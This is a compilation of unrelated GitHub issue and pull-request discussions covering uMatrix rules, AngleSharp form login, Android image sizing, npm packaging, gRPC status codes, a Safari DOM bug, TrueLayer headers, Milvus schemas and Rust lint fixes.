* libs.baidu.com * noop
* lib.sinaapp.com * noop
* upcdn.b0.upaiyun.com * noop
* cdn.bootcss.com * noop
* sdn.geekzu.org * noop
* ajax.proxy.ustclug.org * noop

The following rules are apparently recommended with uMatrix, but it only helps if I need to use the following scripts in order to run a page without breaking it, right? If I can fully utilize what I want within a page without allowing these rules, is there a point in making these global noop rules?
Once again, sorry if this is the wrong place for questions. Also would like to say thanks for the wonderful pref config.

Best practice is to default deny-all, then whitelist.

Indeed. "best" might be subjective, but a default deny means nothing gets thru and you don't have to rely on lists. The onus of mistakes then falls on the human. A hardened approach is not for everyone, but block-all will always be the most secure/safest default mode by it's very nature.
As for "If that's the case, shouldn't there be a guide" - hell no. Go use uBO's or uMatrix's wiki's and reddit forums etc, or articles like the one we linked in the readme: https://12bytes.org/articles/tech/firefox/firefoxgecko-configuration-guide-for-privacy-and-performance-buffs

As for using Decentraleyes, is there a point in adding the following rules

The wiki extensions page says this under Disconnect

:exclamation:  uBlock Origin users should add the following rules

If you are just using uBO in default config (easy mode) then you won't have any issues - these are not advertising trackers etc. But if use uBO in any other config (e.g block all by default like I do), then you should whitelist them in uBO, so that Decentraleyes can detect the request and substitute local versions.
Your list above does not match the one from Decentraleyes own pages, btw.
If any user wants to change uBO or uMatrix to a hardened mode, then it's up to them to know what they are doing, IMO

Currently, I feel like the following pages ...  are kind of confusing.

They seem pretty straight forward to me. We're not recommending anything - it's up to the end user.

As for CookieAutoDelete, is there a point in using it if I set the "Delete non-blocked cookies" to "NaN" in uMatrix?

uMatrix only controls cookies via HTTP headers (it lets them in, but blocks them going out). JS can still set and read cookies. Personally I am not a fan of CAD at all (or any cookie extensions) due to the fact that they can leave orphaned persistent local data - I personally think that FF with FPI (and/or Temporary Containers) and internal data control mechanisms and sanitizing is enough - BUT .. everyone has different requirements, so it's up to you.
You first need to work out what you're trying to achieve. WTF does NaN mean -I know it means not a number, but does that mean in regards to uM? I assume you mean you block the cookie, because what else could it mean.


no data or dataset return

After updating to the newest version of LMFlow, I met this problem (it does not happen before).

My running code is:

Could you please help me figure it out?
Thanks

Great.
Nice to hear that. Thank you very much!

Hi Zeyu,
We have modified the README following your great suggestion! https://github.com/OptimalScale/LMFlow/pull/92
Thank you again!


Form submission examples

I was looking for form submission examples using CSS selectors but couldn't find any?.
For example login form submission or simple html form submission like iMacro(http://wiki.imacros.net/Form_Filling) to automate the web task and web scraping.
Test case #1
Step 1 : Visit a URL
Step 2  : Enter user name & password using css selectors (input.name : username, input.pass : password, input.check : true/false)
Step 3 : Click on Login button
Step 4 : Keep the cookie, session maintained for login state to crawl next 100-200 urls using webrequest after logged in.
Test case #2
Step 1 : Visit google
Step 2  : Enter a keyword on search input
Step 3 : Click on Search button
Step 4 : Return the response content.
Test case #3
Step 1 : Visit a pagging web page
Step 2  : Click on next/previous/ajax load more button using CSS selector
Step 3 : Return the next page response
I'd love to create sample HTMLs to contribute if your resource are busy on other priorities.

Actually, such a contribution would be much welcome. I also realize the lack of documentation is a problem, which is why I'll start working on a large documentation (basically answering all questions - in-depth + quick start + examples for every (known) use-case) soon (probably after v0.9.6, certainly before v1.0).

Great, by the time any chance you can help out to write code for one case below.
Test case #1
Step 1 : Visit a URL
Step 2 : Enter user name & password using css selectors (input.name : username, input.pass : password, input.check : true/false)
Step 3 : Click on Login button
Step 4 : Keep the cookie, session maintained for login state to crawl next 100-200 urls using webrequest after logged in.

In know that the demos that are all contained under the umbrella of this orga are a bit scattered. Nevertheless, in the Developer Week Demo you'll find something.
The MainViewModel contains the following code:
await _accessor.NavigateToLink(".log-in");
await _accessor.SubmitForm(new Dictionary<String, String>(StringComparer.OrdinalIgnoreCase)
{
    ["user"] = "User",
    ["password"] = "secret"
});
await _accessor.NavigateToLink(".secret-link");
var secret = _accessor.GetTextOf("#secret");

The _accessor field points to an abstraction called WebsiteAccessor, which is just a wrapper around IBrowsingContext (_context). The used methods are defined as follows:
public async Task NavigateToLink(string selector)
{
    var document = _context.Active;
    var link = document.QuerySelector<IHtmlAnchorElement>(selector);
    await (link?.Navigate() ?? (Task)Task.FromResult(false));
}

public string GetTextOf(string selector)
{
    var document = _context.Active;
    return document.QuerySelector(selector)?.TextContent;
}

public async Task SubmitForm(IDictionary<String, String> fields)
{
    var document = _context.Active;
    var form = document.Forms.FirstOrDefault();
    var elements = form?.Elements ?? Enumerable.Empty<IHtmlElement>();

    foreach (var element in elements.OfType<IHtmlInputElement>())
    {
        var value = default(String);

        if (fields.TryGetValue(element.Name ?? String.Empty, out value))
            element.Value = value;
    }

    await form.Submit();
}

The SubmitForm helper also exists as an extension in the AngleSharp.Core library.
Hope this helps you!

I was trying to implement this but facing null exception. What is UserName/Password here, is it name of input filed or ID or something else?
static async void submitForm()
        {
            var config = Configuration.Default.WithDefaultLoader().WithCookies();
            var browsingContext = BrowsingContext.New(config);
            await browsingContext.OpenAsync("http://client.vnpglobal.com/Client/Default.aspx");
            Console.Write(browsingContext.Active.Title);
            await browsingContext.Active.QuerySelector<IHtmlFormElement>("form[action='Login.aspx']").Submit(new
            {
                UserName = "***",
                Password = "***"
            });
            await browsingContext.OpenAsync("an internal page");
            Console.Write(browsingContext.Active.Title);
            Console.Read();
        }

Can't i simply write code something like.

Go to url
Enter username to (selector : input.username)
Enter password to (selector : input.password)
Click button (selector input.submit)

Because there are many website where form is submitted on client side AJAX and i can't use this technique. And looking for a way which can enter value or click on text box/check box/radio button/links etc. using CSS Selector firstordefault

Of course, you can write code like this (this is pretty much the code given above).
Instead of await browsingContext.Active.QuerySelector<IHtmlFormElement>("form[action='Login.aspx']") you can also use await browsingContext.Active.Forms[0] (if you know already the number / order of forms on that page).
Regarding your question: In the example above user / password are the names of the related input fields.

Login didn't success, while working in browser.
Looking for more easy solution to implement form submission/login on any website. Something like.
browsingContext.Active(Find.BySelector("input.name"))?.TypeText("username");
browsingContext.Active(Find.BySelector("input.password"))?.TypeText("password");
browsingContext.Active(Find.BySelector("input.remember"))?.Check(true);
browsingContext.Active(Find.BySelector("input.submit"))?.Click();
(May be in upcoming versions if not now.)

The proposed way won't work. What is Find? You already have QuerySelector on the document such that you can just use document.QuerySelector<IHtmlInputElement>("input[type=text][name=foo]").Value = "username". You may come up with an extension method for INode such as
INode SetInputValue(this INode host, String name, String value);

Also using the Click is really not a good practice. What you really want is to trigger form.Submit(). It works in AngleSharp already, however, usually I would expect it only to work in conjunction with a renderer.

Yes Find is wrong here(I was just referring, how its done in http://watin.org/ ).
form.Submit() won't work on AJAX websites so need something which can type text, check the checkbox, click on button etc using .
Now i came up with below code and it's also not giving me title of internal page (which means not logged in ?)
static async void loginForm(){
var config = Configuration.Default.WithDefaultLoader().WithCookies();
var browsingContext = BrowsingContext.New(config);

await browsingContext.OpenAsync("http://client.vnpglobal.com/Login.aspx");

//Console.Write(browsingContext.Active.Title);
browsingContext.Active.QuerySelector<IHtmlInputElement>("#Login1_UserName").Value = "****";
browsingContext.Active.QuerySelector<IHtmlInputElement>("#Login1_Password").Value = "****";
browsingContext.Active.QuerySelector<IHtmlInputElement>("#Login1_LoginButton").DoClick();

await browsingContext.OpenAsync("internal page");

Console.Write(browsingContext.Active.Title);
}

Why should form.Submit() not work on "AJAX websites"? If that's the case then the author of the website did something very wrong. Instead of hooking on the submit event, he hooked on the click event. This is terrible (not only from a programming perspective, but also from a UX point of view).
In any case this is not the scenario you should look for. You should look for a general form submission process.
By the way, have you ever checked out the samples? Maybe you should first try to understand them. I don't know what you are doing wrong, but usually the website is not understood well enough to submit forms (e.g., are those really the IDs you are looking for?, are the values set correctly?, are there other fields that need to be filled out?, those the process work w/o JavaScript?, ...).

Yes i've seen the examples and Form Ids are also correct, see below HTML. And there is not any other field or javascript need to be filled out.
 Have you ever tried submitting the form w/o JavaScript?

It won't work without JavaScript I guess, how can I enable JavaScript?
On Jan 15, 2016 4:51 PM, "Florian Rappl"<EMAIL_ADDRESS>wrote:

Do you see the onclick field? Have you ever tried submitting the form w/o
JavaScript?
—
Reply to this email directly or view it on GitHub
https://github.com/AngleSharp/AngleSharp/issues/242#issuecomment-171937131
.

There's AngleSharp.Scripting, but its in an early stage and it does not integrate event handlers integrated via attributes (as presented above) at the moment.

Yes i changed the config as well to include WithJavaScript() but it wasn't working
So since JavaScript is not working, now I'm trying to do with form submit method and it's throwing syntax error.(even i double quote the input field names). Any way i can use CSS selector here instead of input field name?
await browsingContext.Active.Forms[0].Submit(new
{
   Login1$UserName = "***",
   Login1$Password = "***"
});

HTML
<form method="post" action="Login.aspx" onsubmit="javascript:return WebForm_OnSubmit();" id="signup">
    <input name="Login1$UserName" type="text" id="Login1_UserName" placeholder="Username" />
    <input name="Login1$Password" type="password" id="Login1_Password" placeholder="Password" />
    <input type="submit" name="Login1$LoginButton" value="Sign In" onclick="javascript:WebForm_DoPostBackWithOptions(new WebForm_PostBackOptions("Login1$LoginButton", "", true, "ctl00$Login1", "", false, false))" id="Login1_LoginButton" class="submit" />
</form>

Any plan to integrate event handlers via attributes with scripting to allow interaction per my example above ?

Help ?

Non-async methods cannot be converted to an async state machinery (thus no await operator can be used). Just to get you going I would suggest to change
await context.openAsync(messengerUrl);

to
var document = context.openAsync(messengerUrl).Result;

Next time please post code instead of an image. HTH!

Any update on this?


Fixes #3506: Image height remains zero for some time on bad network

Optimised Width loading
Fixes #3506 Image View Height remains zero for some time on a bad network
What changes did you make and why?
The calculation of image height used the width of scroll view which took time to inflate, now the width is retrieved from context which has almost no latency

You might consider one of the layoutListener's available to us, this article is mostly in kotlin but I think would better express the intention of this code

I think it won't be possible merging #3505 before this PR is ready. Since this is a major issue. Can you please take a look at @macgills 's reviews @kbhardwaj123 ?

@neslihanturan sure, I don't know somehow i didn't get notified about @macgills review on this will fix it ASAP

@macgills i studied about the on global layout listener but i need you help on one thing, if we add a listener which returns the width after the layout is inflated then it might take some time and that itself might lead to latency, i mean i only need the width of the screen and not of the layout so why wait for the layout to get inflated and then for a listener to return it's width when we can directly have the width of the screen. I'm not sure though kindly correct me if i am wrong :)

@kbhardwaj123 getting the screen width means you are restricting this fragment to only ever be used in fullscreen display, in the android world often you have to consider many form factors which range from watched to tvs and god knows what next. If we displayed this on a tablet would it continue to work(after changing to a master/slave screen setup)? If we used multi window mode would it still work?
At the end of the day the screen is not ours, only our view hierarchy. I could be being overly cautious but I think it is good practice

@macgills yes you are right i will see how to implement this here, thanks :)

@macgills i have implemented the changes, now width will be taken from scrollview just as before, but in order to ensure that the getWidth is called after scrollView is drawn out i have used a view post runnable, refer: https://stackoverflow.com/questions/3591784/views-getwidth-and-getheight-returns-0

@kbhardwaj123 using ViewTreeObserver is a better expression of what we want to be doing here, while post does work I would prefer we were saying what we were doing even though it does look a bit more ugly. In kotlin we have .doOnLayout from core-ktx - quite surprising it has not been added - let me review the guidelines on adding libraries and hopefully it will be no problem and we can use that function, even though it will look a bit uglier from java it will still describe our intention

Codecov Report

Merging #3513 into master will decrease coverage by 0.20%.
The diff coverage is 0.00%.

@@             Coverage Diff             @@
##             master   #3513      +/-   ##
===========================================
- Coverage      7.15%   6.95%   -0.21%
+ Complexity      298     291       -7
===========================================
  Files           266     256      -10
  Lines         11935   11740     -195
  Branches        974     960      -14
===========================================
- Hits            854     816      -38
+ Misses        11011   10853     -158
- Partials         70      71       +1

Impacted Files
Coverage Δ
Complexity Δ

...fr/free/nrw/commons/media/MediaDetailFragment.java
0.00% <0.00%> (ø)
0.00 <0.00> (ø)

...ava/fr/free/nrw/commons/utils/CommonsDateUtil.java
42.85% <0.00%> (-32.15%)
1.00% <0.00%> (ø%)

...n/java/fr/free/nrw/commons/upload/UploadModel.java
0.00% <0.00%> (-23.58%)
0.00% <0.00%> (-4.00%)

.../src/main/java/fr/free/nrw/commons/upload/Title.kt
0.00% <0.00%> (-10.00%)
0.00% <0.00%> (-1.00%)

.../commons/contributions/ContributionsPresenter.java
21.25% <0.00%> (-4.51%)
5.00% <0.00%> (ø%)

...free/nrw/commons/wikidata/WikidataEditService.java
62.00% <0.00%> (-2.59%)
8.00% <0.00%> (ø%)

...mons/upload/mediaDetails/UploadMediaPresenter.java
70.37% <0.00%> (-2.47%)
17.00% <0.00%> (ø%)

app/src/main/java/fr/free/nrw/commons/Media.java
16.95% <0.00%> (-0.95%)
5.00% <0.00%> (ø%)

...r/free/nrw/commons/contributions/Contribution.java
0.77% <0.00%> (-0.17%)
1.00% <0.00%> (ø%)

...main/java/fr/free/nrw/commons/WelcomeActivity.java
0.00% <0.00%> (ø)
0.00% <0.00%> (ø%)

... and 48 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update ed5f8ef...86b7aa5. Read the comment docs.


refactor common code from http and grpc subsystem into a service

Pros:

This will help keep common code in one place
flexibility for wrapping service code with various frameworks (ex: gin, fiber)
existing api is maintained

Cons:

some extra copies for translating protbufs into request arguments
naming isn't great

🎉 🎉 Thank you so much @huesflash, your PR is the first open contribution to resonate!!!
I love the idea to factor out the common code into a delegated service. It also makes a lot of sense if (when) we decide to support additional protocols.

Added the missing service test!
Should help with coverage as well

Thank you @huesflash !


Support new error status for deployments

Deployments just got some fancy new statuses:

resourceMountFailed
resourceImagePullFailed
resourceCrashLoop

Also!
These are set together with a new field "error" that can be displayed upon hovering the status maybe?
It gives a more detailed error message such as "Failed to mount volume my-bind.


Is it possible to make it actually use my gpu?

Look, I love what this is, but I feel whoever programmed this only let it work on tensor cores. I've had this thing running for 6 hours with near full vram, but my cuda core usage was completelty nonexistent the entire time. It's clearly doing things, but there's no resource activity other than ram bloating. I have been using windows resource monitor (it is extremely easy to get working natively on windows compared to wsl, and get better performance than wsl as well). which means it's possible it only measures cuda usage, but why would I only be using tensor cores? Especially since that could be the source of most of the vram bloat these require despite nvidia nerf and image gen at far higher resolutions on both requiring less vram. I feel like you could easily half or even quarter the required vram by utilizing the full gpu instead of only the incredibly small amount of tensor cores most modern GeForce cards have.

One possible cause is the num_workers=0 issue that keeps cropping up. Funilly enough this doesn't even appear to be a part of the software itself as I have replaced every single  instance of num_workers=0 and num_workers=1 with 8 or 16 and the warning still pops up with 0 changes in performance.


Add verilator ethernet support

verilator simulation failed due to missing eth-verilator dummy interface in github action host machine


Publish to npmjs and allow for import access

Hi there, this looks like an amazing project.
I'm trying to install this into my project via yarn but it doesn't look like you've published it to a npmjs site and created a tagged release. Would it be possible to do this?
Also, would it be possible to give us the ability to import the project instead of having have a hardcoded .js in the header?
This would enable a developer to do something like this:
<script>
import InstagramFeed from 'jsanahuja/InstagramFeed';

export default{
	mount(){
		InstagramFeed({
			'username': 'instagram',
			'container': document.getElementById("instagram-feed1"),
			'display_profile': true,
			'display_biography': true,
			'display_gallery': true,
			'callback': null,
			'styling': true,
			'items': 8,
			'items_per_row': 4,
			'margin': 1
		});
	}
}
</script>

Any idea if this has been done, or if it's in progress, or not happening?
I'd like to add it to a Shopify Custom Theme Section, so that it's not unnecessarily loaded on all pages.

Added AMD support, please test it.

You should now be able to install it using:
npm install jsanahuja/instagramfeed
Thank you both

Hey @jsanahuja Thanks for adding it, however after installing, and adding import { InstagramFeed } from "@jsanahuja/instagramfeed";, I get Module not found: Error: Can't resolve '@jsanahuja/instagramfeed'

What is your environment? Vanilla JS ES6, webpack, node?
A repository example would be helpful
Thanks!

I believe it should work now. I tested with webpack:
import InstagramFeed from '@jsanahuja/instagramfeed';

console.log(InstagramFeed);

const root = document.createElement("div")
root.id = 'instagram-feed'
document.body.appendChild(root)

new InstagramFeed({
    'username': 'instagram',
    'container': document.getElementById("instagram-feed"),
    'display_profile': true,
    'display_biography': true,
    'display_gallery': true,
    'callback': null,
    'styling': true,
    'items': 8,
    'items_per_row': 4,
    'margin': 1
});

Please try with the new @1.2.0 release
Thank you!

HI! Thank you for adding, but it looks like something is broken. I can't find the package on NPM.

From https://yarnpkg.com/package/instafeed i got it workin gon nuxt.
Please update your doc: yarn add instafeed
then
import InstagramFeed from 'instafeed'

From https://yarnpkg.com/package/instafeed i got it workin gon nuxt.
Please update your doc: yarn add instafeed
then
import InstagramFeed from 'instafeed'

That is not related to this repository

HI! Thank you for adding, but it looks like something is broken. I can't find the package on NPM.

For me it works using npm install jsanahuja/InstagramFeed


Remove max_retries from queue_config

Re #5636, remote write no longer uses the max retries config option. We retry endlessly for recoverable errors.
Signed-off-by: Callum Styan<EMAIL_ADDRESS>cc @tomwilkie @brian-brazil

:+1:

Except most errors are not recoverable in practice: https://github.com/thanos-io/thanos/issues/4831

@Kampe Prometheus' remote write receiver treats ErrOutOfOrder as non-recoverable. If Thanos' remote write receiver code is not doing the same you should open an issue there.


support variants like md or hover

like on play tailwind:
https://play.tailwindcss.com/
steps to reproduce:

Type md:
Hit ctrl space
Expect autocompletion of any chaining like md:bg- ...

maybe here:
https://github.com/remcohaszing/monaco-tailwindcss/blob/c7b6f2586c4f718b0cfd066bcb2e444efd9d98fb/src/tailwindcssWorker.ts#L86

the above is indeed the right location, except we need a little helper as it seems:
https://github.dev/tailwindlabs/play.tailwindcss.com/blob/5ae52d6c44ed522260f3a22c56aef2df098f0bb8/src/workers/postcss.worker.js#L249-L252
the helper
https://github.dev/tailwindlabs/play.tailwindcss.com/blob/5ae52d6c44ed522260f3a22c56aef2df098f0bb8/src/utils/getVariants.js#L4


Sankaku "File already exists"

What steps will reproduce the problem?
Batch download from Sankaku source for the tag kono_subarashii_sekai_ni_shukufuku_wo! (not sure if exact tag is related to the problem)
What is the expected behavior? What do you get instead?
Graber's search returns ~6800 images, so i expect it to download about the same amount of files
Instead it will download ~6400 and in the log file there will be about 150 similar messages that the File already exist pointing to 1 file (i will attach the image from similiar lines finder)

number on the right side is the number of times this line was on the log
How often does this problem occur? On which sources?
2 times out of 2 on sankaku, redownloaded just in case. Message in the end said that all ~6800 files already existed on my hard drive
What version of the program are you using? On what operating system?
Nightly build fba64bb windows 10 x64
Please provide any additional information below
My wild guess that it either really grabs the same image from many different pages somehow (like they have the "popular" on the first page) or that it resolves different images to the same md5. I could not find in the logs link to the files it tried to download and save under the same name, as in log it was just

Tags recieved
File already exists

How did you get Sankaku to work with Grabber?

How did you get Sankaku to work with Grabber?

Under Sources > Options > Headers
add
In "Name" field add User-Agent
In "Value" field add Mozilla/4.78 [en] (Windows NT 5.0; U)


How can i get Types and autocomplete

The types are included in the npm-package. See node_modules/@codeandweb/ngx-translate/lib
I don't know which IDE you are using - but most of them should pick up these files automatiaclly.
PHPStorm and VSCode both do with our example projects.


Use RESOURCE_EXHAUSTED for max message size limits.

CC @carl-mastrangelo @lyuxuan to make sure that the Java and Go implementations use the same code.

No significant performance differences

Performance differences noted:
Benchmark                                      cpu_time    real_time
-------------------------------------------  ----------  -----------
BM_AcquireMutex                                   -5.50        -5.50
BM_CallCreateDestroy<InsecureChannel>           -492.50      -492.50
BM_ClosureSched3OnExecCtx                        -27.50       -27.50
BM_CreateDestroyPollset                           +8.50        +8.50
BM_EmptyCore                                    -379.50      -379.50
BM_ErrorCreateAndSetIntAndStr                   +286.50      +286.50
BM_ErrorCreateAndSetIntLoop                       +9.00        +9.00
BM_ErrorCreateAndSetStrLoop                      +27.00       +27.00
BM_ErrorGetStatusCode<ErrorWithHttpError>         -6.50        -6.50
BM_ErrorHttpError<ErrorNone>                     +21.50       +21.50
BM_ErrorStringOnNewError<SimpleError>          +1726.00     +1726.00
BM_HasClearGrpcStatus<ErrorNone>                  +7.00        +7.00
BM_MetadataRefUnrefInterned                       +7.00        +7.00
BM_Pass1Core                                     -59.50       -59.50
BM_Pluck1Core                                    -59.50       -59.50
BM_PollEmptyPollset_SpeedOfLight/1/10             +8.50        +8.50
BM_PollEmptyPollset_SpeedOfLight/1/100           +11.00       +11.00
BM_PollEmptyPollset_SpeedOfLight/1/1000          +11.00       +11.50
BM_PollEmptyPollset_SpeedOfLight/1/9.76562k      +15.50       +15.50
BM_TryAcquireMutex                               -10.50       -10.50

@markdroth thanks for the heads up, Java will use this code starting in 1.4.

Known failures: #9542 #10576 #10582 #10481 #10643

This was an unfortunate choice. https://github.com/grpc/grpc/blob/master/doc/statuscodes.md defines RESOURCE_EXHAUSTED as being generated by both the server (full queue, out of quota, etc.) or the client (response too large). The problem with that is that, most of the time, it's OK and desirable to retry the former case, while it makes no sense in the latter. Unless responses vary between identical calls, if a message is too large the first time, it'll be too large on every retry, too. And because we're talking about >4MB in the default case, this will result each time in quite a waste of cycles, memory and bandwidth.
I suppose it is too late now for any changes. Is it recommended for clients that care simply to hard code a check against the error string that is used by the gRPC implementation they rely on?

I'll let @a11r respond to this.
Ultimately, I think this is an unfortunate consequence of having a fixed set of response codes, especially given that the same set of codes is returned by both gRPC and the application.  I would not recommend that applications depend on the human-readable text strings, because there is no guarantee that those won't change over time.  But I don't have a better solution to recommend.

Yes, the text string check is a very desperate last resort, in absence of a better mechanism. We're adding an opt-in to disable retries for "message too large" errors (to accomodate both the case of an hypothetical GetQueueContents() and GetQueueItem(): perhaps the client is OK with retrying the former) and it'll be treated as an optimisation. I'll have to find a way to make it work with service configs, of course.
We'll also have a test to make sure to catch text changes over time, or at least the trivial ones.


Fix panic when kubeClient is nil

Please provide a description of this PR:
Fix https://github.com/istio/istio/issues/38444#issuecomment-1103781049

In response to a cherrypick label: new pull request created: #38486

In response to a cherrypick label: new pull request created: #38487

In response to a cherrypick label: new pull request created: #38488


Accumulate additional test case

I want to add a test case in the accumulate problem. Specifically, this test case would ensure that the method returns the initial array if no block is given. Should I proceed?

An alternative would be to test that the method returns an Enumerator.

Have you read through this discussion: https://github.com/exercism/ruby/pull/395

@kiriakosv I recommend reading through that thread, and if you still think adding the test is a good idea you can make a PR and we can discuss it further. I assume you've already written the the test as part of your own solution.


feat: styling unit listing page

Description
When I view the UnitListingPage,
I want to see all the oak styles and components
So that the UX is high quality.
How to test

Go to https://deploy-preview-2410--oak-web-application.netlify.thenational.academy/pupils/beta/programmes/maths-secondary-year-10-core-l/units
Go to https://deploy-preview-2410--oak-web-application.netlify.thenational.academy/pupils/beta/programmes/maths-primary-year-4/units

Screenshots
How it used to look (delete if n/a):

How it should now look:

ACs

[x]  primary and secondary colours
[x]  header and app layout (header not updated for pupils just yet)

[x]  Seo data with description

[x]  total lesson count with clickable info

Unhandled in this PR

Expired units
Optionality

@kimon-satan couple of minor things:

The tier is all in lower case in the bullet list, will the tier be letter case when the programmes page is built? E.g:
 - if so, ignore this.

Can the back button label be updated to 'Change tier'

@kimon-satan couple of minor things:

The tier is all in lower case in the bullet list, will the tier be letter case when the programmes page is built? E.g:
 - if so, ignore this.
Can the back button label be updated to 'Change tier'

Ugh the data is so inconsistent on this. Do you want tiers to be capitalized. I can make it so ?

@kimon-satan couple of minor things:

The tier is all in lower case in the bullet list, will the tier be letter case when the programmes page is built? E.g:
 - if so, ignore this.
Can the back button label be updated to 'Change tier'

Ugh the data is so inconsistent on this. Do you want tiers to be capitalized. I can make it so ?

If possible to do without bloating the scope too much if it is a hassle.

@kimon-satan looking good - just one small thing compared to the design - The New Lessons heading has a font weight of 700 across the whole content. In the designs below it looks like it should be 600 for the text then 400 for the number of lessons in brackets?
Design:

Deployed:


feat: Added No Internet Page

Fixes #59
Screenshots for the change:

@somenath1435 please do it quickly


Clarifying the checkpoint support

[!NOTE]
Only Production Checkpoints are supported on guests that run Active Directory Domain Services role (Domain Controller) or Active Directory Lightweight Directory Services role.

@kaushika-msft,
Thanks for your contribution as a Microsoft full-time employee or intern. You do not need to sign a CLA.
Thanks,
Microsoft Pull Request Bot

Thanks, Kaushik - merging now. Due to a publishing freeze, you'll see this fix live at launch. Let me know if you need a staging link to verify the fix. - Liza


DOM broken when navigating in Safari 7.1

Since Safari 7.1 I'm seeing a strange bug when moving between 2 pages.
Without Turbolinks:

With Turbolinks:

You can see the list element becomes nested inside the form element. Inspecting the DOM confirms this:
Before:

After:

I've pared it down to just these 2 elements, checked closing tags, and removed all JS and CSS from the page. I also tried setting Turbolinks.pagesCached(0).
This occurs and persists when navigating between pages. Refreshing the page resets it to the correct state.

FWIW I have a small javascript repro that illustrates this Safari bug (still in Safari 8.0.3), very similar to @reed's console examples above, without using turbolinks/rails:
http://jsfiddle.net/spa9LbLr/2/
This shows a bare-bones document with a <form> and a <div> after it. When that HTML is parsed with DOMParser, you can see that it clearly pulls anything after the form up into the form. Experimenting with that jsfiddle shows that it will grab everything after the form until the closing tag of the form's parent.
Chrome, Firefox, and IE10 (didn't test lower) all parse this correctly. Wish I would have discovered this thread first, before I did all that debugging. :-$


Support X-Forwarded-For header for start auth flow request

Describe the bug
Support X-Forwarded-For header for start auth flow request
https://docs.truelayer.com/reference/start-payment-authorization-flow
To Reproduce
Steps to reproduce the behavior:

Create a payment with the bank that requires user IP address for auth flow and start auth flow
See 400 Bad request error

Expected behavior
TrueLayer Java Client show allow to pass X-Forwarded-For header for start auth flow request

@dili91 Could you take a look at this issue? We are currently blocked by this for some banks.

Hey @dmytro-bekuzarov, thanks for raising this. This has now been implemented in version 6.1.0.
I'm closing this for now, let us know if any issues! Thanks

Hey @dmytro-bekuzarov I'm reopening this issue to let you know that we're changing this in the next major version of the library (8.0.0). the details are here, but if you want to upgrade, the TLDR is that you will have to switch from this:
ApiResponse<AuthorizationFlowResponse> response = tlClient.payments()
                .startAuthorizationFlow(A_PAYMENT_ID, request, endUserIpAddress)
                .get();

to this:
var headers = Headers.builder().xForwardedFor(endUserIpAddress).build();
ApiResponse<AuthorizationFlowResponse> response = tlClient.payments()
                .startAuthorizationFlow(headers, A_PAYMENT_ID, request)
                .get();

I know it's a bit unfortunate but as we had to anyway introduce a major release we preferred including now this breaking change.


PHP: Enable Strict Mode

I keep making the following typo.
$RESPONSE['ba'] = blah;
$RESPONES['ba'] = blah;

Enable strict mode in the PHP configuration.

Well, PHP is as strict as it gets. :(


[add] community: add option to enable dynamic schema in Milvus vectorstores

- **Description:** add option to enable dynamic schema in milvus vectorstores, while creating collection  because in some cases we need to add some more field for existing collection. Currently Adding new field in not possible if collection is already created.
    This will enable used to add dynamic schema field in case schema not finalised or field is not fixed for schema.

- **Issue:**  If field is not fixed for schema, it is difficult to add data in milvus. is we need to decide field dynamically based on running data.

[x] PR message: Delete this entire checklist and replace with

Description: a description of the change
Issue: the issue # it fixes, if applicable
Dependencies: any dependencies required for this change
Twitter handle: if your PR gets announced, and you'd like a mention, we'll gladly shout you out!

An example notebook showing its use. It lives in docs/docs/integrations directory.
Additional guidelines:

Make sure optional dependencies are imported within a function.
Please do not add dependencies to pyproject.toml files (even optional ones) unless they are required for unit tests.
Most PRs should not touch more than one package.
Changes should be backwards compatible.
If you are adding something to community, do not re-import it in langchain.

If no one reviews your PR within a few days, please @-mention one of baskaryan, efriis, eyurtsev, ccurme, vbarda, hwchase17.

@efriis , I guess the error not related to this commit. not sure how to resolve.
Can you please review this, how can i fix this build error

@efriis  Please review
numpy-1.24.* not supported in python 3.12 (https://pypi.org/project/numpy/1.24.0/)
finally green signal after restricting version to 3.11
cc @baskaryan

@baskaryan please review, if this can be merged, or anything else we can do to support dynamic schema for langchain milvus object

Pinged it over to the milvus folks to get a look from their team!

Pinged it over to the milvus folks to get a look from their team!

Ok Thanks

@rgupta2508 After discussing with others in milvus team , we decide to adopt your idea of supporting dynamic schema for langchain_milvus, and deprecate metadata_field, because their functions are almost the same.  But dynamic schema is a more advanced concept in milvus, which we want to introduce to langchain_milvus.
I will try to review this pr and compare the difference between dynamic schema and metadata_field in details, especially in practical usage cases. It will take few days.
As for deprecating the arg metadata_field, @efriis , do you have any idea? I think it will involve backward compatibility issues. Are there any examples can refer to?

@rgupta2508 After discussing with others in milvus team , we decide to adopt your idea of supporting dynamic schema for langchain_milvus, and deprecate metadata_field, because their functions are almost the same. But dynamic schema is a more advanced concept in milvus, which we want to introduce to langchain_milvus. I will try to review this pr and compare the difference between dynamic schema and metadata_field in details, especially in practical usage cases. It will take few days. As for deprecating the arg metadata_field, @efriis , do you have any idea? I think it will involve backward compatibility issues. Are there any examples can refer to?

Ok Thanks

will close it for now and would encourage the milvus team to reopen from this branch with the changes they want!

@efriis  Thanks, Do i need to tag anyone ?

it sounded like @zc277584121 and the milvus team would handle it!

Sorry for being late, I'm in the process of refactoring as previous decision, which will require some testing and debugging. it may be finished in few days.

hi @efriis , @rgupta2508 , I have finish it, please help to review it,  https://github.com/langchain-ai/langchain/pull/24544

@zc277584121  Thanks


Fixes broken call to runBuild for Rust code.

I missed an invocation of this method when changing the function signature.
I long for strong typing. :whine:

Should there be a test we can add that will catch that error in the future?

@HipsterBrown I just pushed some tests for this. Everything looks good, can land when green

CI is green, now merging.


refactor(lint): fix new lint warnings

warning: usage of a legacy numeric method
  --> src/layout/rect.rs:61:29
   |
61 |         let max_area = u16::max_value();
   |                             ^^^^^^^^^^^
   |
   = help: for further information visit https://rust-lang.github.io/rust-clippy/master/index.html#legacy_numeric_constants
   = note: `#[warn(clippy::legacy_numeric_constants)]` on by default
help: use the associated constant instead
   |
61 |         let max_area = u16::MAX;
   |                             ~~~

warning: unnecessary structure name repetition
  --> src/style/palette_conversion.rs:26:9
   |
26 |         Color::Rgb(red, green, blue)
   |         ^^^^^ help: use the applicable keyword: `Self`
   |
   = help: for further information visit https://rust-lang.github.io/rust-clippy/master/index.html#use_self
   = note: requested on the command line with `-W clippy::use-self`

warning: unnecessary structure name repetition
  --> src/style/palette_conversion.rs:51:9
   |
51 |         Color::from(srgb_color)
   |         ^^^^^ help: use the applicable keyword: `Self`
   |
   = help: for further information visit https://rust-lang.github.io/rust-clippy/master/index.html#use_self

warning: `ratatui` (lib) generated 3 warnings (run `cargo clippy --fix --lib -p ratatui` to apply 2 suggestions)
warning: `ratatui` (lib test) generated 3 warnings (3 duplicates)
